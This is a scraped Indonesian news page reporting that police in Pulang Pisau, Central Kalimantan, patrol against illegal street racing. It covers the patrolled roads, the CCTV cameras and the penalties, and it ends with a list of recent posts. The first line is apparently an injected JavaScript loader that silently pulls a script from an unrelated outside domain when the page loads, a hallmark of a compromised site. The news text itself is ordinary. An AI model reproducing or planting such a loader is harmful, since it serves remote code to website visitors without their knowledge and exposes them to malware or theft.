(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Pulang Pisau

Resahkan Warga, Aksi Balap Liar Terus Diburu Polres Pulpis


PULANG PISAU, Mencegah terjadinya aksi kriminalitas jalanan seperti aksi balapan liar, Satuan Lalu lintas (Sat Lantas) Polres Pulang Pisau menggelar patroli setiap malam di sejumlah ruas jalan di kota Pulang Pisau. Disinyalir saat Minggu malam dan Kamis malam disebut-sebut hari rawan aksi balapan liar di jalanan.

“Atas perintah Kapolres  Pulang Pisau AKBP  Siswo Yuwono BPM, kami terus rutin melakukan patroli lalu lintas. Khususnya titik-titik yang selama ini sering dilaporkan masyarakat menjadi tempat aksi balapan liar. Seperti di ruas jalan Darung Bawan, jalan Tingang Menteng hingga menyisir tempat ramai seperti di Taman Sumbu Kurung dan taman samping rujab. Sejak giat patroli meningkat, alhamdulillah keluhan aksi balapan liar sekarang mulai turun,” ungkap Kasatlantas Polres Pulang Pisau Iptu Suprianto.

Dikatakan Iptu Suprianto, balapan liar merupakan bentuk aksi yang sangat berbahaya. Selain dapat menciderai diri sendiri juga mengganggu ketertiban pengendara lainnya. Tidak sedikit akibat dari kebut-kebutan tersebut berujung kecelakaan hingga meninggal dunia. Polres Pulpis tegas akan menindak jika masih kedapatan ada aksi balapan liar di Pulang Pisau.

Kasatlantas Polres Pulang Pisau Iptu Suprianto. Foto : polres pulpis

“Di beberapa ruas jalan sudah terpasang CCTV. Jika pelaku tertangkap, maka akan ada sanksi berupaya denda hingga penahanan barang bukti dan hukuman kurungan bagi pelaku hingga 3 bulan,” ujarnya. Ini sesuai dengan pasal 115 Undang-Undang Nomor 22 tahun 2009 tentang Lalu Lintas dan Angkutan Jalan.

“Saran saya daripada balapan liar, mending salurkan untuk hal-hal yang positif. Misalnya usulkan arena balap, itu lebih bagus,” kata Suprianto.

Pihaknya mengaku siap menerima laporan masyarakat, jika melihat ada aksi balapan liar ataupun kejadian kecelakaan lalu lintas di wilayah hukum Pulang Pisau dengan nomor Ponsel pribadinya di +62 813-4904-9986. Petugas lalu lintas akan dikatakannya akan sigap turun melayani masyarakat. (sjy)

Reporter : Sjy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

11 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

11 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

12 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

13 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

15 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

15 jam ago

This website uses cookies.